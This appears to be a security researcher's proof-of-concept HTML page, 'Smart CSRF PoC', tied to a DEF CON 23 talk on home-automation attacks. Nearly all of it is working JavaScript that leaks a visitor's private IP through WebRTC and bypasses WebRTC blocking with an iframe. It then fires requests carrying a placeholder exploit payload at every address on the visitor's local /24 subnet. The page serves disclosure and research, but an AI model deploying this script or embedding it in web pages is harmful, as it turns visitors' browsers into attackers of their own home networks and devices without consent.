Smart CSRF PoC

<HTML><TITLE>Smart CSRF PoC</TITLE>
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<script>
// This code is derived from a PoC I came across on GitHub: https://github.com/diafygi/webrtc-ips/blob/master/README.md
// I have only slightly modified it to assume the IP is on a /24 and iterate over the addresses with an HTTP request.
// A version of this script including the payload for a 0-day in a home automation product was demonstrated at:
//  DEF CON 23 IoT Village and InfoSec Europe 2015 Intelligent Defence in a talk titled 'Smart Home Invasion'
// Interestingly enough, this code worked in Chrome even without an Internet connection to reach the STUN server.
// -- Craig Young, Security Researcher Tripwire VERT

//get the IP addresses associated with an account
function getIPs(callback){
    var ip_dups = {};

    //compatibility for firefox and chrome
    var RTCPeerConnection = window.RTCPeerConnection
        || window.mozRTCPeerConnection
        || window.webkitRTCPeerConnection;
    var useWebKit = !!window.webkitRTCPeerConnection;

    //bypass naive webrtc blocking using an iframe
    if(!RTCPeerConnection){
        //NOTE: you need to have an iframe in the page right above the script tag
        //
        //<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>
        //<script>...getIPs called in here...
        //
        var win = iframe.contentWindow;
        RTCPeerConnection = win.RTCPeerConnection
            || win.mozRTCPeerConnection
            || win.webkitRTCPeerConnection;
        useWebKit = !!win.webkitRTCPeerConnection;
    }

    //minimal requirements for data connection
    var mediaConstraints = {
        optional: [{RtpDataChannels: true}]
    };

    //firefox already has a default stun server in about:config
    //    media.peerconnection.default_iceservers =
    //    [{"url": "stun:stun.services.mozilla.com"}]
    var servers = undefined;

    //add same stun server for chrome
    if(useWebKit)
        servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};

    //construct a new RTCPeerConnection
    var pc = new RTCPeerConnection(servers, mediaConstraints);

    function handleCandidate(candidate){
        //match just the IP address
        var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
        var ip_addr = ip_regex.exec(candidate)[1];

        //remove duplicates
        if(ip_dups[ip_addr] === undefined)
            callback(ip_addr);

        ip_dups[ip_addr] = true;
    }

    //listen for candidate events
    pc.onicecandidate = function(ice){

        //skip non-candidate events
        if(ice.candidate)
            handleCandidate(ice.candidate.candidate);
    };

    //create a bogus data channel
    pc.createDataChannel("");

    //create an offer sdp
    pc.createOffer(function(result){

        //trigger the stun server request
        pc.setLocalDescription(result, function(){}, function(){});

    }, function(){});

    //wait for a while to let everything done
    setTimeout(function(){
        //read candidate info from local description
        var lines = pc.localDescription.sdp.split('\n');

        lines.forEach(function(line){
            if(line.indexOf('a=candidate:') === 0)
                handleCandidate(line);
        });
    }, 1000);
}

getIPs(
    function(ip){
            var local_regex = /10\.[0-9]+\.[0-9]+\.|192\.168\.[0-9]+\.|172\.16\./
            if (local_regex.exec(ip) != null) {
                var subnet = local_regex.exec(ip)[0];
                for (node=1; node<256; node++) {
                    var url = 'http://' + subnet + node + exploit_URI_payload;
                    var oReq = new XMLHttpRequest();
                    oReq.open("get",url,true)
                    oReq.send();
                }
            }
        }
    );
</script>
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